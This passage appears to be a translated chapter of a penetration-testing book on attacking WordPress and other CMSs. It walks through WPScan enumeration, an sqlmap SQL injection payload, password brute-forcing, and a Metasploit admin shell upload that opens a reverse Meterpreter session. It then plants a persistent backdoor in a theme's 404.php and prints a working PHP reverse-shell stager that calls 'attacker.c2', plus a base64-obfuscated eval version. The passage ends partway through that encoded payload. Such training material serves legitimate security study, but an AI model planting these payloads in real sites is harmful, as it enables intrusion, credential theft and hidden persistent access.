对于 API,我们或许仍然抱有希望。在解耦环境中,Web 服务通常不会直接访问。可能该特定 API 是通过 Web 应用程序进行调用的。错误消息可能最终会出现在浏览器中,浏览器可能最终渲染我们的负载。如果所有错误都被 Web 服务记录,并且稍后被整齐地呈现在仅内部可见的状态仪表板中呢?那么我们就能在任何分析师检查 API 状态时执行 JavaScript 代码。
Web 应用程序扫描器可能会识别到这个问题,但将其标记为信息性问题,因此可能会被忽略。考虑每个漏洞的上下文以及不同客户端如何使用受影响的服务非常重要。记住在攻击 API 时要注意带外发现和利用,因为并非所有漏洞都是立即显现的。
总结
在本章中,我们探讨了让攻击 API 变得更容易的不同方式。我们介绍了 Web 服务的两种最常见标准:SOAP 和 REST。我们查看了身份验证是如何处理的,以及 JWT 在安全通信中扮演的角色。我们还探索了帮助提高效率的工具和扩展。
我们还使用了 Postman,并尝试了自动化发现的想法,以及对 API 输入和端点的测试。
API 可能是 Web 和移动应用程序的最新趋势,但它们与通常的 HTTP 应用程序并没有太大的区别。实际上,正如我们之前所看到的,微服务架构在身份验证方面带来了一些新的挑战,这些挑战可以与通常的服务器端和客户端漏洞一起利用。在接下来的章节中,我们将看看内容管理系统(CMS)以及一些发现和利用它们的有趣和有利的方法。
第十二章:攻击 CMS
本章我们将讨论攻击 CMS,特别是 WordPress。谈到 web 应用,几乎无法不提到 WordPress。WordPress 在互联网的普及程度如此之高,你可能在职业生涯中会遇到许多它的实例。毕竟,几乎三分之一的网站都在使用该平台,它无疑是最受欢迎的 CMS。
除了 WordPress,还有 Drupal、Joomla 和其他一些更现代的应用程序,如 Ghost。所有这些框架的目标都是让在网上发布内容变得简单且无忧。你不需要知道 JavaScript、HTML、PHP 或其他任何技术就能开始使用。CMS 通常可以通过插件扩展,并通过主题进行高度定制。WordPress 的特别之处在于,它在互联网上的安装量庞大。比如,你遇到一个 WordPress 博客的几率,远高于遇到 Ghost 博客的几率。
攻击者喜欢 WordPress,因为正是它与竞争对手的区别——庞大的社区——使得它难以安全防护。WordPress 占据市场份额的原因在于,用户不需要技术专长就能运营一个美食博客,而这正是问题所在。那些同样没有技术背景的用户不太可能更新插件或应用核心补丁,更不可能强化他们的 WordPress 实例,并且这些年下来,他们不会偏离这种基础设置。
公平地说,自动更新功能已经在 WordPress 3.7 版本中加入,但前提是用户实际上升级到 3.7 版本。还应该注意,即便有自动更新功能,出于变更管理的考虑,一些公司可能会选择关闭自动更新,以维持稳定性,牺牲安全性。
企业喜欢 WordPress,许多公司提供共享托管和管理服务。也不罕见有市场部门的人设置了一个未经安全部门知晓的非法实例,并将其运行多年。
很容易将 WordPress 作为攻击目标,但 Drupal 和 Joomla 也是不错的选择。它们同样面临着易受攻击的插件和主题问题,以及安装版本更新稀少的问题。WordPress 是巨头,我们将重点关注它,但攻击方法同样适用于任何内容管理框架,尽管所用的工具可能略有不同。
在接下来的章节中,我们将深入探讨 WordPress 攻击,最终你应该能掌握以下内容:
-
使用各种工具测试 WordPress
-
一旦获取访问权限,在 WordPress 代码中设置持久性
-
通过后门进入 WordPress 以获取凭证和其他有价值的数据
应用评估
就像我们对待其他应用程序一样,当我们遇到 WordPress 或 CMS 实例时,我们必须进行一些侦察:寻找低悬的果实,并试图理解我们面对的是什么。我们有一些工具可以帮助我们入门,我们将看一个常见的场景,了解它们如何帮助我们识别问题并进行利用。
WPScan
攻击者遇到 WordPress CMS 应用程序时,通常首先会选择 WPScan。它是一个构建良好、经常更新的工具,用于发现漏洞甚至猜测凭证。
WPScan 具有许多有用的功能,包括以下内容:
-
插件和主题枚举:
- 被动和主动发现
-
用户名枚举
-
凭证暴力破解
-
漏洞扫描
对于评估工作,一个有用的功能是可以将所有请求通过代理传递,例如通过本地的 Burp Suite 实例。这使我们能够实时查看攻击,并重放一些有效负载。在一次 engagement 中,这对于记录活动,甚至传递一个或两个多用途的载荷可能非常有用。
**root@kali:~# wpscan --url http://cookingwithfire.local/ --proxy 127.0.0.1:8080**
注意
使用上游代理与 WPScan 配合使用时,可能会在 Burp 的代理历史中生成大量数据,特别是在进行凭证攻击或主动扫描时。
通过 Burp 代理我们的扫描可以让我们对外发出的连接有一些控制:

图 12.1:Burp 捕获 WPScan 网络请求
注意
默认的用户代理(WPScan vX.X.X)可以通过 --user-agent 开关进行更改,或通过 --random-agent 随机化。
注意
WPScan 可以在 Kali 和大多数渗透测试发行版中找到。它还可以在wpscan.org/找到,或从 GitHub 克隆:github.com/wpscanteam/wpscan。
一次典型的 engagement 从使用 --url 参数对目标进行被动扫描开始。以下命令将对 cookingwithfire.local 测试博客进行默认扫描:
root@kali:~# **wpscan --url http://cookingwithfire.local/**
**_______________________________________________________________**
**__ _______ _____**
**\ \ / / __ \ / ____|**
**\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®**
**\ \/ \/ / | ___/ \___ \ / __|/ _' | '_ \**
**\ /\ / | | ____) | (__| (_| | | | |**
**\/ \/ |_| |_____/ \___|\__,_|_| |_|**
**WordPress Security Scanner by the WPScan Team**
**Version 2.9.3**
**Sponsored by Sucuri - https://sucuri.net**
**@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_**
**_______________________________________________________________**
[+] URL: http://cookingwithfire.local/
**[!] The WordPress 'http://cookingwithfire.local/readme.html' file exists exposing a version number**
**[!] Full Path Disclosure (FPD) in 'http://cookingwithfire.local/wp-includes/rss-functions.php':**
[+] Interesting header: LINK: <http://cookingwithfire.local/index.php?rest_route=/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.25 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/7.2.3
[+] XML-RPC Interface available under: http://cookingwithfire.local/xmlrpc.php
[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator, links opml
**[!] 1 vulnerability identified from the version number**
**[!] Title:**
**WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)**
Reference: https://wpvulndb.com/vulnerabilities/9021
Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
Reference: https://github.com/quitten/doser.py
Reference: https://thehackernews.com/2018/02/WordPress-dos-exploit.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[+] WordPress theme in use: kale - v2.2
[+] Name: kale - v2.2
| Latest version: 2.2 (up to date)
| Last updated: 2018-03-11T00:00:00.000Z
| Location: http://cookingwithfire.local/wp-content/themes/kale/
| Readme: http://cookingwithfire.local/wp-content/themes/kale/readme.txt
| Changelog: http://cookingwithfire.local/wp-content/themes/kale/changelog.txt
| Style URL: http://cookingwithfire.local/wp-content/themes/kale/style.css
| Theme Name: Kale
| Theme URI: https://www.lyrathemes.com/kale/
| Description: Kale is a charming and elegant, aesthetically minimal and uncluttered food blog theme that can al...
| Author: LyraThemes
| Author URI: https://www.lyrathemes.com/
[+] Enumerating plugins from passive detection ...
[+] No plugins found
[+] Requests Done: 348
[+] Memory used: 41.449 MB
[+] Elapsed time: 00:00:03
root@kali:~#
初步看起来,似乎没有太多可用于利用的东西。存在一个完整路径泄露漏洞,如果我们需要找到一个放置 shell 的地方,这可能会派上用场。拒绝服务(DoS)漏洞不太有趣,因为大多数客户端不会允许这种类型的利用,但在报告中提到它作为一种可能的破坏路线可能是有益的。
默认情况下,WPScan 会对插件进行被动枚举。这基本意味着它只会检测到在站点某处引用的插件。如果插件被禁用或更加隐蔽,可能需要执行主动枚举。
主动扫描将测试是否已知的插件文件存在于 wp-content 文件夹中,并对任何已存在的漏洞发出警报。通过向已知路径发送大量 URL 请求来实现这一点,如果有响应,WPScan 会假定插件是可用的。
要指定我们要进行的扫描类型,--enumerate(简写为 -e)开关接受多个用于主动检测的参数:
-
u– 查找 ID 从 1 到 10 的用户名 -
u[10-20]– 查找 ID 从 10 到 20 的用户名:--enumerate u[15] -
p– 查找流行的插件 -
vp– 仅显示易受攻击的插件 -
ap– 查找所有已知的插件 -
tt– 搜索 timthumbs -
t– 枚举流行的主题 -
vt– 仅显示易受攻击的主题 -
at– 查找所有已知的主题
你也可以提供多个 --enumerate(或 -e)开关,一次枚举主题、插件和用户名。例如,以下开关组合将执行一次相当彻底的扫描:
**root@kali:~# wpscan --url [url] -e ap -e at -e u**
我们继续开始对目标进行可用插件的主动枚举:
root@kali:~# wpscan --url http://cookingwithfire.local/ **--enumerate p**
[...]
[+] URL: http://cookingwithfire.local/
[...]
[+] Enumerating installed plugins (only ones marked as popular) ...
[...]
[+] Name: google-document-embedder - v2.5
| Last updated: 2018-01-10T16:02:00.000Z
| Location: http://cookingwithfire.local/wp-content/plugins/google-document-embedder/
| Readme: http://cookingwithfire.local/wp-content/plugins/google-document-embedder/readme.txt
**[!] The version is out of date, the latest version is 2.6.4**
**[!] Title: Google Document Embedder 2.4.6 - pdf.php file Parameter Arbitrary File Disclosure**
Reference: https://wpvulndb.com/vulnerabilities/6073
Reference: http://www.securityfocus.com/bid/57133/
Reference: http://packetstormsecurity.com/files/119329/
Reference: http://ceriksen.com/2013/01/03/WordPress-google-document-embedder-arbitrary-file-disclosure/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4915
Reference: https://secunia.com/advisories/50832/
Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_google_document_embedder_exec
Reference: https://www.exploit-db.com/exploits/23970/
[i] Fixed in: 2.5.4
**[!] Title: Google Document Embedder <= 2.5.14 - SQL Injection**
Reference: https://wpvulndb.com/vulnerabilities/7690
Reference: http://security.szurek.pl/google-doc-embedder-2514-sql-injection.html
Reference: https://exchange.xforce.ibmcloud.com/vulnerabilities/98944
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9173
Reference: https://www.exploit-db.com/exploits/35371/
[i] Fixed in: 2.5.15
**[!] Title: Google Document Embedder <= 2.5.16 - SQL Injection**
Reference: https://wpvulndb.com/vulnerabilities/7704
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9173
Reference: https://www.exploit-db.com/exploits/35447/
[i] Fixed in: 2.5.17
**[!] Title: Google Doc Embedder <= 2.5.18 - Cross-Site Scripting (XSS)**
Reference: https://wpvulndb.com/vulnerabilities/7789
Reference: http://packetstormsecurity.com/files/130309/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1879
[i] Fixed in: 2.5.19
[+] Requests Done: 1766
[+] Memory used: 123.945 MB
[+] Elapsed time: 00:00:10
root@kali:~#
看起来 Google Document Embedder 已经成功枚举,并且有几个具有公开可用概念验证代码的严重漏洞。
被标记为 CVE-2014-9173 的 SQLi 漏洞在 www.exploit-db.com 上有 PoC,Kali 上可以通过 searchsploit 本地查询。这个简单的工具可以搜索 Kali 本地目录 /usr/share/exploitdb/,该文件夹经常被镜像到在线数据库,并且在互联网不易访问的环境中非常有用。
我们可以从命令行调用 searchsploit,并将搜索查询作为第一个参数,如下所示:

图 12.2:Google Document Embedder 的 searchsploit 结果
searchsploit 将列出 Exploit Title 和相关的 Path,该路径相对于 Kali 发行版中的 /usr/share/exploitdb/。
在 PoC 文档 /usr/share/exploitdb/exploits/php/webapps/35371.txt 中,研究员 Kacper Szurek 识别了 wp-content/plugins/google-document-embedder/view.php 插件文件中的 gpid URL 参数作为注入点。
sqlmap
为了确认我们目标中的此漏洞,我们可以转到 sqlmap,这是一款事实上的 SQL 注入(SQLi)利用工具。sqlmap 可以帮助我们快速生成有效载荷,以测试流行的数据库管理系统(DBMS),如 MySQL、PostgreSQL、MS SQL 甚至 Microsoft Access。要启动新的 sqlmap 会话,我们通过 -u 参数传递完整的目标 URL。
注意,目标 URL 包含 GET 查询参数,并带有一些虚拟数据。如果我们不告诉 sqlmap 目标 gpid,它将检查其他所有参数的注入情况。这不仅对 SQLi 漏洞发现很有帮助,对漏洞利用也是一个很好的工具。得益于我们的 searchsploit 查询,我们知道 gpid 是易受攻击的参数,因此可以专注于对其进行攻击,使用 -p 参数。
**root@kali:~# sqlmap -u "http://cookingwithfire.local/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0" -p gpid**
**[*] starting at 10:07:41**
**[10:07:41] [INFO] testing connection to the target URL**
**[...]**
几分钟后,sqlmap 检测到后端是 MySQL,我们可以指示它仅针对目标检查 MySQL 有效载荷。这将大大提高我们确认漏洞的机会。
[10:07:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[10:07:49] [INFO] **GET parameter 'gpid' is 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' injectable**
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
对于其余的测试,sqlmap 将确认漏洞的存在并将状态保存到本地。对目标的后续攻击将使用已识别的有效载荷作为起点来注入 SQL 语句。
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[10:07:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
**GET parameter 'gpid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n**
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: gpid (GET)
Type: **error-based**
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: **embedded=1&gpid=(SELECT 1349 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT (ELT(1349=1349,1))),0x716b6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)**
**---**
**[10:08:07] [INFO] the back-end DBMS is MySQL**
**web server operating system: Linux Debian**
**web application technology: Apache 2.4.25, PHP 7.2.3**
**back-end DBMS: MySQL >= 5.0**
**[10:08:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/cookingwithfire.local'**
**[*] shutting down at 10:08:07**
**root@kali:~#**
注意
如果你想在自己的 WordPress 实例中测试这个有漏洞的插件,可以从github.com/wp-plugins/google-document-embedder/tags?after=2.5.1下载版本 2.5 的 Google Document Embedder 插件。
Droopescan
虽然没有 WPScan 那样功能全面,droopescan 的扫描目标不止是 WordPress。它非常适合 Drupal 实例,也可以对 Joomla 做一些基本的扫描。
Droopescan 可以从 GitHub 克隆并快速安装:
**root@kali:~/tools# git clone https://github.com/droope/droopescan**
**Cloning into 'droopescan'...**
**[...]**
**root@kali:~/tools# cd droopescan/**
**root@kali:~/tools/droopescan# ls**
**CHANGELOG droopescan dscan LICENSE MANIFEST.in README.md README.txt requirements_test.txt requirements.txt setup.cfg setup.py**
一旦提取,我们可以手动使用pip安装依赖项,并通过-r参数传入requirements.txt选项:
**root@kali:~/tools/droopescan# pip install -r requirements.txt**
**Obtaining file:///root/tools/droopescan (from -r requirements.txt (line 3))**
**[...]**
**root@kali:~/tools/droopescan#**
Droopescan 还可以使用setup.py脚本和install参数进行全局安装:
**root@kali:~/tools/droopescan# python setup.py install**
**Obtaining file:///root/tools/droopescan (from -r requirements.txt (line 3))**
**[...]**
**root@kali:~/tools/droopescan#**
要评估一个应用程序,可以使用scan drupal选项启动 droopescan,并使用-u参数指定目标:
root@kali:~# droopescan scan drupal -u http://ramblings.local -t 8
[+] No themes found.
[+] Possible interesting urls found:
**Default admin** - http://ramblings.local/user/login
[+] Possible version(s):
**8.5.0-rc1**
[+] No plugins found.
[+] Scan finished (0:03:34.527555 elapsed)
root@kali:~#
这个工具是入门了解 Drupal、WordPress 或 Joomla 实例时的好选择。
Arachni Web 扫描器
Arachni与之前讨论的更专业的工具有所不同。它是一个功能齐全的模块化框架,具有通过远程代理分发扫描的能力。经过正确配置后,它可以成为评估应用程序的强大第一步。
Arachni 是免费的开源软件,并且容易安装。它可以通过一个易于使用的 Web 用户界面或通过命令行进行控制。该框架还可以用于发现 HTML5 和文档对象模型漏洞,传统的扫描器可能会遗漏这些漏洞。
注意
Arachni 的预编译二进制文件可以在www.arachni-scanner.com/找到。
一旦提取到磁盘上,我们需要创建一个用户才能登录到 Web 界面。arachni_web_create_user辅助工具可以在bin文件夹中找到。
root@kali:~/tools/arachni/bin# **./arachni_web_create_user root@kali.local A!WebOf-Lies* root**
User 'root' with e-mail address 'root@kali.local' created with password 'A!WebOf-Lies*'.
root@kali:~/tools/arachni/bin#
注意
如果这是 Arachni 的生产环境安装,请小心清除你的 Shell 历史记录。
Web 界面通过同一文件夹中的arachni_web脚本启动:
**root@kali:~/tools/arachni/bin# ./arachni_web**
**Puma 2.14.0 starting...**
*** Min threads: 0, max threads: 16**
*** Environment: development**
*** Listening on tcp://localhost:9292**
**::1 - - "GET /unauthenticated HTTP/1.1" 302 - 0.0809**
**[...]**
**::1 - - "GET /navigation HTTP/1.1" 304 - 0.0473**
**::1 - - "GET /profiles?action=index&controller=profiles&tab=global HTTP/1.1" 200 - 0.0827**
**::1 - - "GET /navigation HTTP/1.1" 304 - 0.0463**
Web 用户界面默认运行在http://localhost:9292。在这里,我们可以立即启动新的扫描,也可以将其安排在稍后进行。我们还可以创建扫描配置文件或与远程代理进行交互。
Arachni 默认提供三个扫描配置文件:
-
默认
-
跨站脚本攻击(XSS)
-
SQL 注入
默认配置文件执行多种检查,并寻找有趣的文件和容易被发现的漏洞。XSS 和 SQL 注入是针对这两种漏洞类型的更聚焦的配置文件。
要使用 Web UI 启动新的扫描,请在扫描下选择新建,如图所示:

图 12.3:启动一个新的 Arachni 扫描
我们还可以在扫描运行时查看 扫描 页面,跟踪进度。以下图示展示了一个针对 jimsblog.local,即一个 WordPress 安装的示例扫描:

图 12.4:Arachni 扫描正在运行
问题会在扫描状态下列出,随着它们的发现。但一旦扫描完成,完整的报告将提供。在 问题 部分,我们可以看到 Arachni 发现的内容,如下所示:

图 12.5:Arachni 发现的问题
Arachni 中的 SQL 注入扫描配置文件也可以用于扫描,验证我们之前通过 WPScan 发现的问题,在 cookingwithfire.local 博客中。这个特定的配置文件应该比默认扫描完成得更快。

图 12.6:Arachni 发现的 SQL 注入
细心的读者会注意到,Arachni 发现了一个基于时间的盲 SQL 注入,sqlmap 使用基于错误的技术确认了这个漏洞。从技术上讲,两种技术都可以用来利用这个特定应用程序,但基于错误的技术是首选。基于时间的注入攻击本身速度较慢。如果 Arachni 发现了一个基于时间的盲 SQL 注入漏洞,可能是个好主意,将 sqlmap 定向到相同的 URL,看看是否能识别出更可靠的信息。
后门化代码
一旦我们获得了对 CMS 实例的访问权限,例如 WordPress、Drupal 或 Joomla,就有几种方式可以持续保持或甚至水平或垂直提升权限。我们可以注入恶意 PHP 代码,这将允许我们随时获得 Shell 访问权限。代码执行非常强大,但在某些情况下,我们不一定需要它。还有其他方式可以利用该应用程序。或者,我们可以修改 CMS 核心文件,以便在用户和管理员登录时捕获明文凭证。
这两种技术都需要某种提升的权限,这就引出了一个问题:如果我们已经拥有这种类型的访问权限,为什么还要费力做这些呢?我们将探讨几种情况,在这些情况下,后门可能有助于我们的渗透测试。如果我们对 WordPress 实例有管理员访问权限,但没有 Shell 访问权限,我们可以利用 UI 创建反向 Shell 并保持访问权限,以防密码被重置。如果我们有标准用户的 Shell 访问权限,但没有其他权限,捕获明文凭证可能是横向移动或提升权限的好方法。
持久性
在攻击 CMS 安装时,例如 WordPress,我们可能已经获得了管理员凭证。也许我们通过 WPScan 成功列出了用户,然后暴力破解了特权用户的凭证。这比你想象的要常见,尤其是在 WordPress 临时搭建用于开发的环境中,或者只是被搭建起来后就被遗忘了。
让我们使用 wpscan 的 --enumerate u 选项来探讨这个场景:
root@kali:~# wpscan --url http://cookingwithfire.local/ **--enumerate u**
[+] Enumerating plugins from passive detection ...
[+] No plugins found
[+] Enumerating usernames ...
[+] Identified the following 2 user/s:
+----+--------+--------+
| Id | Login | Name |
+----+--------+--------+
| 1 | msmith | msmith |
| 2 | mary | Mary K |
+----+--------+--------+
[+] Requests Done: 377
[+] Memory used: 3.836 MB
[+] Elapsed time: 00:00:10
结果显示至少有两个我们可以针对其进行登录暴力破解攻击的用户。WPScan 可以通过 --usernames 参数和 --passwords 提供的字典文件进行某个账户的凭证暴力破解。
对于这次攻击,我们将使用 SecLists 的 rockyou-10.txt 字典,并将目标设置为 mary。像之前一样,我们可以通过 --url 参数调用 wpscan,然后指定一个用户名,并将 passwords 参数指向 SecLists 的 rockyou-10.txt 文件。
root@kali:~# wpscan --url http://cookingwithfire.local/ --usernames mary --passwords ~/tools/SecLists/Passwords/Leaked-Databases/rockyou-10.txt
[+] Starting the password brute forcer
[+] [SUCCESS] Login : mary Password : **spongebob**
Brute Forcing 'mary' Time: 00:00:01 <=============== > (87 / 93) 93.54% ETA: 00:00:00
+----+-------+------+-----------+
| Id | Login | Name | Password |
+----+-------+------+-----------+
| | mary | | **spongebob** |
+----+-------+------+-----------+
[+] Requests Done: 441
[+] Memory used: 41.922 MB
[+] Elapsed time: 00:00:12
稍等片刻后,mary 的凭证得到确认,我们可以自由地以该用户身份登录。
通过 WordPress UI 登录时,我们注意到 mary 对博客具有更高的访问权限。我们可以利用这个账户启动反向 shell,从而获得对底层操作系统的访问权限。
我们可以通过 Metasploit 或通过管理员面板本身轻松实现这一点。Metasploit 方法稍显嘈杂,如果失败,它可能会留下遗留物,如果没有及时清理,可能会引起管理员警觉。然而,在某些情况下,隐蔽性并不是最重要的,这个模块仍然能够正常工作。
Metasploit 模块 wp_admin_shell_upload 将连接到 WordPress 网站,并使用我们刚刚发现的凭证进行身份验证。它将继续上传一个恶意插件,启动一个反向 Meterpreter shell 并返回到我们的攻击机器。
在我们的 Kali 实例上,像之前一样,我们可以通过 msfconsole 命令启动 Metasploit 界面:
**root@kali:~# msfconsole -q**
让我们使用 Metasploit 的 use 命令加载 wp_admin_shell_upload 漏洞,如下所示:
**msf > use exploit/unix/webapp/wp_admin_shell_upload**
**msf exploit(unix/webapp/wp_admin_shell_upload) > options**
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD **spongebob**
yes The WordPress password to authenticate with
Proxies no A proxy chain of formattype:host:port[,type:host:port][...]
RHOST cookingwithfire.local yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the WordPress application
USERNAME **mary** yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
在我们能够启动漏洞并希望能够拿到 shell 之前,有一些选项需要填入正确的信息。
让我们通过 run 命令执行 exploit 模块:
**msf exploit(unix/webapp/wp_admin_shell_upload) > run**
[*] Started reverse TCP handler on 10.0.5.42:4444
[*] Authenticating with WordPress using mary:spongebob...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
**[*] Executing the payload at /wp-content/plugins/ydkwFvZLIl/rtYDipUTLv.php...**
[*] Sending stage (37543 bytes) to 172.17.0.3
**[*] Meterpreter session 6 opened** (10.0.5.42:4444 -> 172.17.0.3:36670)
[+] Deleted rtYDipUTLv.php
[+] Deleted ydkwFvZLIl.php
[+] Deleted ../ydkwFvZLIl
meterpreter >
看起来该模块成功运行并启动了一个反向 Meterpreter 会话返回到我们的攻击机器。Metasploit 已经显示了 meterpreter 提示符,现在我们可以在目标机器上执行命令。
meterpreter > **sysinfo**
Computer : 71f92e12765d
OS : Linux 71f92e12765d 4.14.0 #1 SMP Debian 4.14.17 x86_64
Meterpreter : php/linux
meterpreter > **getuid**
Server username: www-data (33)
meterpreter >
虽然我们确实有访问权限,但这个 shell 存在一个问题。它不会保持持久性。如果服务器重启,Meterpreter 会话将会中断。如果 mary 更改了密码,我们将完全失去对应用程序的访问权限。
我们需要更具创意地保持对站点的访问。幸运的是,由于 WordPress 是如此可定制,提供了插件和主题的文件编辑器。如果我们能够修改主题文件并注入反向 shell 代码,每次通过 Web 调用它时,我们将拥有访问权限。如果管理员明天更改了密码,我们仍然可以重新登录。
在 WordPress 管理面板中,主题 部分链接到 编辑器,可以用来修改任何已安装主题的 PHP 文件。最好选择一个已禁用的主题,以防我们修改的是一个频繁访问的文件,用户会注意到有问题。
Twenty Seventeen 是 WordPress 的默认主题,在此安装中,它不是主要主题。我们可以修改 404.php 页面并在其中注入我们的代码,而不会引起任何人的注意。

图 12.7:WordPress 主题文件编辑器
我们可以通过加载 payload/php/meterpreter/reverse_tcp payload 模块来使用 Metasploit 生成一个新的 PHP 反向 shell。LHOST 选项应该与我们的本地主机名或 IP 匹配,而 LPORT 将是 Metasploit 用来监听传入反向 shell 的本地端口。一旦目标被利用,它将通过这个端口回连给我们。
在 Metasploit 控制台中,我们可以使用 use 命令加载它,就像之前一样:
**msf > use payload/php/meterpreter/reverse_tcp**
**msf payload(php/meterpreter/reverse_tcp) > options**
**Module options (payload/php/meterpreter/reverse_tcp):**
**Name Current Setting Required Description**
**---- --------------- -------- -----------**
**LHOST attacker.c2 yes The listen address**
**LPORT 4444 yes The listen port**
**msf payload(php/meterpreter/reverse_tcp) >**
有效载荷 php/meterpreter/reverse_tcp 是一个用 PHP 编写的 Meterpreter 暂存器,尽管从稳定性角度来看它并不理想,但它确实提供了典型 Meterpreter 反向 shell 的大部分功能。
在 Metasploit 中加载有效载荷时,与使用 MSFvenom 工具生成有效载荷不同,我们可以使用generate命令。该命令可以显示创建新有效载荷的所有可用选项。
**msf payload(php/meterpreter/reverse_tcp) > generate -h**
**Usage: generate [options]**
**Generates a payload.**
**OPTIONS:**
**-E Force encoding.**
**-b <opt> The list of characters to avoid: '\x00\xff'**
**-e <opt> The name of the encoder module to use.**
**-f <opt> The output file name (otherwise stdout)**
**-h Help banner.**
**-i <opt> the number of encoding iterations.**
**-k Keep the template executable functional**
**-o <opt> A comma separated list of options in VAR=VAL format.**
**-p <opt> The Platform for output.**
**-s <opt> NOP sled length.**
**-t <opt> The output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war**
**-x <opt> The executable template to use**
对于 PHP 有效载荷,这些选项中的大多数不会产生影响。我们可以生成原始有效载荷,它就是暂存器的 PHP 代码。我们不需要将其写入文件;它通常非常小,我们可以直接从终端输出中复制。
msf payload(php/meterpreter/reverse_tcp) > generate -t raw
**/*<?php /**/ error_reporting(0); $ip = 'attacker.c2'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();**
msf payload(php/meterpreter/reverse_tcp) >
generate 命令的结果是一个很长的、被压缩的 PHP 代码片段,我们可以通过使用 -E 选项将其编码为 Base64 进一步混淆:
msf payload(php/meterpreter/reverse_tcp) > generate -t raw -E
**eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJ2F0dGFja2VyLmMyJzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJO.bGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB